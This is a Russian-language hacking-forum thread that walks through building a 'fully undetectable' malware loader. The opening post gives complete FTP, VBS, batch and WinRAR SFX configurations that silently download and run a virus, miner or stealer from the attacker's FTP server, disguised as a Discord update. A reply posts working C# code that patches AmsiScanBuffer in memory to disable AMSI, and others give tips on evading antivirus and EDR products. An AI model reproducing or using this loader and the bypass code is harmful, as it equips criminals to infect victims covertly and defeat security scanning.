• XSS.stack #1 – первый литературный журнал от юзеров форума

Создаем Loader 0 detect FUD

MezzaAronovski

floppy-диск
Пользователь
Регистрация
06.11.2018
Сообщения
2
Реакции
15
1) Сначала нам нужно найти хостинг с FTP доступом. Можете взять бесплатный, можете арендовать. И загружаем на него ваш вирус/майнер/стиллер и т.д.

2) Создаем текстовый документ и называем его "ftp.txt", без кавычек. Открываем его и вставляем туда следующее:
Код:
open ип сервера (например: 192.168.1.1)
логин для входа через ftp (Например: Senkool)
пароль (например: 12345)
lcd C:\Program Files\Microsoft Office (Здесь, куда будет скачивать файл)
binary
get ATL.mp3 (Это имя файла, я решил для примера взять мп3, но также будет работать и с exe и любым другим форматом, я проверял)
quit
3) Далее создаем файл и называем его "vbs.vbs", без кавычек и вставляем туда следующее дальше придумай название батника пример (fud.cmd):
Код:
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "(fud).cmd" & Chr(34), 0
Set WshShell = Nothing
Сохраняем
4) После создаем файл с названием "123.cmd", без кавычек и вставляем следующее:
Echo OFF

ftp -s:ftp.txt

Start ATL.mp3
Сохраняем всё в одной папке.

5) Далее Выделяем эти три файла -> ПКМ -> Добавить в архив...
Далее вылезет окно WinRar, там выбираем "Метод сжатия - максимальный", изменяем имя и ставим галочки на "Создать SFX архив" и "Создать непрерывный архив" и переходим во вкладку "Комментарии" и там вставляем следующее:
Код:
Path=C:\Program Files\Microsoft Office
Setup=vbs.vbs
Silent=1
Overwrite=1
Update=U
Title:-Discord (Здесь можете поставить другое имя, я маскировал под дискорд)
Text
{
Updating...
}

И всё, жмем "ОК"
Теперь в папке с файлами появиться EXE файл, запустив его, у нас начнется скачивание файла в скрытом режиме.
vt.png
 
а если настроены ACL + firewall на запрет без одобрения админа?
 
Может я чего то не знаю, но что будет если ПК перезагрузится? Не должен ли лоадер запускаться при рестарте компьютера? Значит его надо прописать в реестр в автозапуск? И половина АВ детектят пропись в реестр =\.
 
AMSI на CreateObject("WScript.Shell") с RUN не орет?
Использование ftp 18 году как бэ удивляет, трафик на 21 порт по дефолту рубят с фтп даже DPI не нужен чтобы понять что к чему
Ну и от поддержки фтп даже мозила собирается отказаться, это к слову.
Да и давайте прямо 254кб лоадер? Еще и в sfx упакованный? Может я что-то не понимаю или это нормально?
 
а как запустить тогда чтобы AMSI не ругался?
В зависимости от версии можно обойти AMSI
C#:
using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

Источник
Там можно в принципе простыми методами старый обходить, можно в памяти патчить новый, но я не рекомендую делать не то не другое, пишите свой код чтобы он до обфускации и проверки на песочницы был чист как слеза младенца, так у Вас точно будет больше времени пока АВ начнут ваш код опознавать, AMSI это не мана с небес а простой сканнер который видит код после eval ( да я курсе что нынче он стал сложнее но для подробностей надо статью писать а не пост), то есть по сути рассчитан не на распознание новых угроз а на старые криптованные.
И да: sct->vb/js->.net assembly->pe dll еще довольно не плохо держится, если весь код переписан как минимум, или написан своими руками то АВ в упор не видят в рантайме, кроме endgame и cylance но с ними можно бороться если перестать rundll32 использовать и отказатся от creatermotethread, но при этом жить в подписанном MS процессе
 
В этом же блоге отписали что метод больше не работает https://0x00-0x00.github.io/research/2018/11/09/Oh-No!-Amsi-blocked-the-bypass.html
И там же написано как обойти блок, что детект идет по сигнатурам, что просто можно интовым массивом таскать. В чем проблема? Или за Вас надо весь код переписать и на блюдечке подать?
Хотите результата, вкладывайте труд.


P.S Как написал сам автор поста в блоге
AMSI might be smart, but attackers are unpredictable. This war will never be over.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх